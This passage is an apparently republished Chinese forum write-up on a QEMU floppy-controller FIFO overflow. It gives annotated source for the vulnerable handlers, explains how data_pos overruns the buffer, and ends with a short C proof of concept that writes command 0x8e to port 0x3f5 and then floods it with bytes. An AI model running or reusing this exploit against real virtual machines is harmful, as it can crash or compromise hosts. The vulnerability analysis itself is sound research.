static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
    fdctrl->data_dir = FD_DIR_READ;
    fdctrl->data_len = fifo_len;
    fdctrl->data_pos = 0;  /* 关键:重置位置,防止溢出 */
    fdctrl->msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO;  /* 关键:设置DIO标志,阻止后续写入 */
}

漏洞分析

当我们调用0x3f5,并且传入0x8e这种情况的时候,会去调用**fdctrl_handle_drive_specification_command函数,**然后在参数传递完毕后该函数并没有很好的处理fifo的状态,并且 后续的参数传递依赖的 data_pos,而data_pos是无限增加的。

FIFO绕过状态重制

◆在这里我们因为可以控制输入让fdctrl->fifo[fdctrl->data_pos - 1] & 0x80 判断为false,同时因为 data_len 在这种情况下为5,所以我们可以让fifo保持原状态。那么我们后续输入的数据就会让 data_pos 一直增长。


static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
    FDrive *cur_drv = get_cur_drv(fdctrl);

/* 检查第5个参数(最后一个参数)的最高位 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
/* Command parameters done - 参数处理完成 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
/* bit6=1: 需要返回结果 */
            fdctrl->fifo[0] = fdctrl->fifo[1];
            fdctrl->fifo[2] = 0;
            fdctrl->fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4);  /* 正常:重置data_pos=0,设置DIO标志 */
        } else {
/* bit6=0: 不需要返回结果 */
fdctrl_reset_fifo(fdctrl);  /* 正常:重置data_pos=0 */
        }
    } else if (fdctrl->data_len > 7) {
/* ERROR - 数据长度错误 */
/* 漏洞:data_len=6,这个条件永远不会满足! */
        fdctrl->fifo[0] = 0x80 |
            (cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1);  /* 永远不会执行到这里 */
    }
}

溢出

// fdctrl_write_data 
fdctrl->fifo[fdctrl->data_pos++] = value; 

EXP

#include <sys/io.h>
#include <stdio.h>

#define FIFO 0x3f5

intmain(){
int i;
iopl(3);
outb(0x08e,0x3f5);
for(i = 0;i < 10000000;i++)
outb(0x42,0x3f5);
return 0;
}


参考文章:https://www.secpulse.com/archives/6602.html




看雪ID:Elenia

https://bbs.kanxue.com/user-home-994584.htm

*本文为看雪论坛精华文章,由 Elenia 原创,转载请注明来自看雪社区

# 往期推荐

Hyper-V平台IUM进程调试工具及通用TPM漏洞CVE-2025-2884分析与复现

第八届强网拟态防御国际精英挑战赛 - WIN!致敬mt 复现

VmProtect.3.9.4分析之虚拟机流程

极路由远程命令执行漏洞-漏洞分析

一道CTF题目animals:变异MD5加密分析

图片

球分享

球点赞

球在看


点击阅读原文查看更多

【声明】内容源于网络
0
0
看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
内容 6594
粉丝 0
看雪学苑 致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
总阅读31
粉丝0
内容6.6k